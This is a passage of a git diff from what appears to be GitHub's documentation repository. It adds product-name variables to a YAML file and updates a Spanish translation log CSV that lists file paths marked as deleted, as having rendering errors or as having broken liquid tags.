'dependency review action' # Visual Studio prodname_vs: 'Visual Studio' @@ -215,6 +215,9 @@ prodname_dependabot_security_updates: 'Dependabot security updates' prodname_dependabot_version_updates: 'Dependabot version updates' prodname_dependabot_updates: 'Dependabot updates' +# Dependency review action +prodname_dependency_review_action: 'dependency review action' + # GitHub Archive Program prodname_archive: 'GitHub Archive Program' prodname_arctic_vault: 'Arctic Code Vault' @@ -229,6 +232,9 @@ prodname_command_palette: 'GitHub Command Palette' # Server Statistics prodname_server_statistics: 'Server Statistics' +# GitHub Actions Importer +prodname_actions_importer: 'GitHub Actions Importer' + # Links product_url: >- {% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %} diff --git a/translations/log/msft-es-resets.csv b/translations/log/msft-es-resets.csv index fd9332ecc1..1705fc0aef 100644 --- a/translations/log/msft-es-resets.csv +++ b/translations/log/msft-es-resets.csv @@ -75,6 +75,7 @@ translations/es-ES/content/authentication/managing-commit-signature-verification translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md,file deleted because it no longer exists in main translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md,file deleted because it no longer exists in main +translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md,file deleted because it no longer exists in main @@ -82,6 +83,7 @@ translations/es-ES/content/code-security/dependabot/dependabot-alerts/editing-se translations/es-ES/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/es-ES/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md,file deleted because it no longer exists in main @@ -90,6 +92,7 @@ translations/es-ES/content/code-security/repository-security-advisories/permissi translations/es-ES/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md,file deleted because it no longer exists in main translations/es-ES/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/codespaces-reference/security-in-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md,file deleted because it no longer exists in main @@ -99,6 +102,8 @@ translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-c translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,file deleted because it no longer exists in main +translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,file deleted because it no longer exists in main +translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/developing-in-codespaces/renaming-a-codespace.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,file deleted because it no longer exists in main @@ -112,6 +117,7 @@ translations/es-ES/content/codespaces/managing-your-codespaces/managing-gpg-veri translations/es-ES/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md,file deleted because it no longer exists in main +translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md,file deleted because it no longer exists in main translations/es-ES/content/codespaces/troubleshooting/working-with-support-for-codespaces.md,file deleted because it no longer exists in main @@ -132,6 +138,14 @@ translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md,file translations/es-ES/content/github/copilot/index.md,file deleted because it no longer exists in main translations/es-ES/content/github/copilot/research-recitation.md,file deleted because it no longer exists in main translations/es-ES/content/github/index.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md,file deleted because it no longer exists in main +translations/es-ES/content/issues/tracking-your-work-with-issues/about-task-lists.md,file deleted because it no longer exists in main translations/es-ES/content/issues/trying-out-the-new-projects-experience/about-projects.md,file deleted because it no longer exists in main translations/es-ES/content/issues/trying-out-the-new-projects-experience/automating-projects.md,file deleted because it no longer exists in main translations/es-ES/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,file deleted because it no longer exists in main @@ -217,6 +231,7 @@ translations/es-ES/content/rest/reference/users.md,file deleted because it no lo translations/es-ES/content/rest/reference/webhooks.md,file deleted because it no longer exists in main translations/es-ES/content/site-policy/privacy-policies/github-data-protection-agreement.md,file deleted because it no longer exists in main translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md,file deleted because it no longer exists in main +translations/es-ES/data/features/security-overview-views.yml,file deleted because it no longer exists in main translations/es-ES/data/glossaries/internal.yml,file deleted because it no longer exists in main translations/es-ES/data/graphql/ghes-3.1/graphql_previews.enterprise.yml,file deleted because it no longer exists in main translations/es-ES/data/graphql/ghes-3.2/graphql_previews.enterprise.yml,file deleted because it no longer exists in main @@ -353,19 +368,25 @@ translations/es-ES/data/reusables/actions/self-hosted-runner-groups-navigate-to- translations/es-ES/data/reusables/apps/metadata-permissions.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/billing/per-user-pricing-reference.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/codespaces/about-personalization.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/codespaces/apply-devcontainer-changes.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/availability.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/beta-functionality-limited.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/billing-for-prebuilds-default.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/billing-for-prebuilds-reducing.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/billing-for-prebuilds.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/codespaces-billing.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/concurrent-codespace-limit.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/prebuilds-beta-note.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/prebuilds-not-available.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/codespaces/review-pr.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/codespaces/unsupported-repos.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/codespaces/vscode-settings-order.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/dependabot/create-dependabot-yml.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/desktop/paste-email-git-config.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/dotcom_billing/codespaces-minutes.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/education/upgrade-organization.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/education/upgrade-page.md,file deleted because it no longer exists in main @@ -374,6 +395,7 @@ translations/es-ES/data/reusables/enterprise-licensing/you-can-sync-for-a-combin translations/es-ES/data/reusables/enterprise_management_console/username_normalization.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/enterprise_management_console/username_normalization_sample.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/gated-features/advanced-security.md,file deleted because it no longer exists in main +translations/es-ES/data/reusables/gated-features/codespaces.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/gated-features/discussions.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/gated-features/private-pages.md,file deleted because it no longer exists in main translations/es-ES/data/reusables/gated-features/security-center.md,file deleted because it no longer exists in main @@ -434,8 +456,6 @@ translations/es-ES/content/account-and-profile/setting-up-and-managing-your-gith translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,rendering error translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md,broken liquid tags translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags -translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,broken liquid tags -translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md,broken liquid tags translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,rendering error translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,rendering error translations/es-ES/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,rendering error @@ -484,7 +504,7 @@ translations/es-ES/content/actions/learn-github-actions/environment-variables.md translations/es-ES/content/actions/learn-github-actions/expressions.md,rendering error translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md,broken liquid tags translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md,rendering error -translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,broken liquid tags +translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error translations/es-ES/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,broken liquid tags translations/es-ES/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,broken liquid tags translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md,broken liquid tags @@ -506,17 +526,14 @@ translations/es-ES/content/actions/using-workflows/reusing-workflows.md,renderin translations/es-ES/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md,rendering error translations/es-ES/content/actions/using-workflows/storing-workflow-data-as-artifacts.md,rendering error translations/es-ES/content/actions/using-workflows/triggering-a-workflow.md,rendering error -translations/es-ES/content/actions/using-workflows/workflow-commands-for-github-actions.md,rendering error translations/es-ES/content/actions/using-workflows/workflow-syntax-for-github-actions.md,rendering error translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md,broken liquid tags translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md,rendering error translations/es-ES/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md,broken liquid tags -translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md,rendering error -translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md,rendering error translations/es-ES/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/configuration/configuring-github-connect/about-github-connect.md,broken liquid tags translations/es-ES/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md,rendering error -translations/es-ES/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md,rendering error +translations/es-ES/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md,broken liquid tags @@ -552,7 +569,6 @@ translations/es-ES/content/admin/enterprise-management/caching-repositories/conf translations/es-ES/content/admin/enterprise-management/caching-repositories/index.md,rendering error translations/es-ES/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,broken liquid tags translations/es-ES/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md,broken liquid tags -translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,broken liquid tags translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md,broken liquid tags translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md,broken liquid tags translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md,broken liquid tags @@ -562,21 +578,17 @@ translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md,broken liquid tags translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,broken liquid tags -translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,rendering error translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags -translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,broken liquid tags -translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,broken liquid tags translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md,rendering error translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md,rendering error translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md,rendering error translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error +translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,broken liquid tags translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,broken liquid tags -translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error translations/es-ES/content/admin/identity-and-access-management/index.md,broken liquid tags -translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md,rendering error @@ -586,6 +598,7 @@ translations/es-ES/content/admin/identity-and-access-management/using-built-in-a translations/es-ES/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md,broken liquid tags +translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md,rendering error translations/es-ES/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md,rendering error @@ -597,7 +610,6 @@ translations/es-ES/content/admin/identity-and-access-management/using-ldap-for-e translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md,broken liquid tags -translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md,broken liquid tags translations/es-ES/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md,broken liquid tags @@ -606,20 +618,18 @@ translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-ser translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,rendering error translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,rendering error translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,rendering error -translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md,rendering error translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md,rendering error -translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md,broken liquid tags +translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md,rendering error translations/es-ES/content/admin/overview/about-data-residency.md,broken liquid tags translations/es-ES/content/admin/overview/about-github-enterprise-server.md,broken liquid tags translations/es-ES/content/admin/overview/about-github-for-enterprises.md,rendering error -translations/es-ES/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/overview/system-overview.md,rendering error translations/es-ES/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags translations/es-ES/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,broken liquid tags @@ -639,7 +649,6 @@ translations/es-ES/content/admin/user-management/managing-organizations-in-your- translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md,rendering error translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md,broken liquid tags translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags -translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md,broken liquid tags translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md,rendering error @@ -664,7 +673,6 @@ translations/es-ES/content/authentication/keeping-your-account-and-data-secure/r translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,rendering error translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,rendering error translations/es-ES/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md,broken liquid tags -translations/es-ES/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md,rendering error translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,rendering error translations/es-ES/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,rendering error translations/es-ES/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md,rendering error @@ -686,7 +694,7 @@ translations/es-ES/content/billing/managing-billing-for-github-advanced-security translations/es-ES/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,rendering error translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md,broken liquid tags translations/es-ES/content/billing/managing-billing-for-github-codespaces/index.md,broken liquid tags -translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md,broken liquid tags +translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md,broken liquid tags translations/es-ES/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md,broken liquid tags translations/es-ES/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md,broken liquid tags translations/es-ES/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,rendering error @@ -707,6 +715,7 @@ translations/es-ES/content/code-security/code-scanning/automatically-scanning-yo translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,broken liquid tags translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error +translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md,broken liquid tags translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,rendering error translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,rendering error @@ -714,12 +723,14 @@ translations/es-ES/content/code-security/code-scanning/automatically-scanning-yo translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,rendering error translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags +translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,rendering error translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,rendering error translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md,broken liquid tags translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,broken liquid tags -translations/es-ES/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md,rendering error +translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md,broken liquid tags translations/es-ES/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md,rendering error translations/es-ES/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md,rendering error translations/es-ES/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md,rendering error @@ -729,7 +740,6 @@ translations/es-ES/content/code-security/dependabot/dependabot-version-updates/c translations/es-ES/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md,rendering error translations/es-ES/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md,rendering error translations/es-ES/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md,rendering error -translations/es-ES/content/code-security/dependabot/index.md,rendering error translations/es-ES/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md,rendering error translations/es-ES/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md,rendering error translations/es-ES/content/code-security/dependabot/working-with-dependabot/managing-encrypted-secrets-for-dependabot.md,rendering error @@ -747,35 +757,41 @@ translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-se translations/es-ES/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md,rendering error translations/es-ES/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md,rendering error translations/es-ES/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md,rendering error -translations/es-ES/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,rendering error translations/es-ES/content/code-security/security-overview/about-the-security-overview.md,rendering error translations/es-ES/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md,rendering error translations/es-ES/content/code-security/security-overview/viewing-the-security-overview.md,rendering error translations/es-ES/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md,rendering error 